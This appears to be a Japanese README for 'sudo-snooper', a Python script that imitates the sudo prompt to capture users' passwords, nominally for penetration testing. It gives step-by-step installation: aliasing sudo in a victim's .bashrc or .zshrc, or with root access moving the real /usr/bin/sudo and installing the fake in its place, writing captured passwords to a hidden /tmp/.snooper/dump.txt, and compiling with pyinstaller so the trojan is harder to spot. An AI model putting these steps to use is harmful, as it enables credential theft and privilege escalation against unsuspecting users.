
オリジナルのsudoバイナリのように振る舞い、ユーザーを騙してパスワードを入力させるPythonスクリプト
sudo-snooperは、本来のsudoバイナリのように動作し、ユーザーを騙してパスワードを入力させるものです。
オリジナルと同様の偽のプロンプトを表示し、sudoパスワードを入力させます。
これは、ペネトレーションテストやセキュリティ評価において、ユーザーの知識をテストする際に有用です。
このオプションは簡単で移植性が高いですが、注意深いユーザーには気づかれやすい可能性があります。
ユーザーが使用しているシェルの.rcファイル(.bashrc、.zshrcなど)を編集し、以下を追加します。
alias sudo='python3 /path/to/sudo-snooper.py'
sudo-snooper.pyに正しいパーミッションが設定されていることを確認してください。
このインストールオプションにはrootアクセスが必要です
これは、すでにrootアクセスを持っているが、何らかの理由で/etc/shadowからハッシュを解読できない場合にのみ有効です。基本的に、ユーザーからパスワードをフィッシングすることができます。
# mv /usr/bin/sudo /usr/bin/somename
sudo-snooper.py内で以下を変更してください。
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
# install -dm755 sudo-snooper.py /usr/bin/sudo
pythonファイルに必要なパーミッションを付与します
ここでは凝ったことをして、ユーザーには読み取り不可で実行可能なファイルにすることもできますが、それについては説明しません。その方法については、こちらの回答を参照してください。
注意: より説得力のあるインストール方法は、pyinstallerを使用してコンパイルし、file /usr/bin/sudoを実行したときにPythonファイルとして表示されないようにすることです。
Archlinuxでこれを行うには、pyinstaller --onefile sudo-snooper.pyが動作します。ただし、コンパイル後はコンパイル済みバイナリのパラメータを変更できなくなることに注意してください。
インストール後、sudo-snooperは通常のsudoと同じように呼び出すことができます。
例えば、以下のコマンドを実行すると
sudo vim /etc/resolv.conf
sudo-snooperが呼び出されます(適切にインストールされている場合)。
ユーザーパスワードを要求し、パスワードが正しければ、実際のsudoバイナリにリダイレクトしてコマンドを実行します。
その後、設定で指定したダンプファイルを読み取ることで、ユーザーパスワードを取得できます。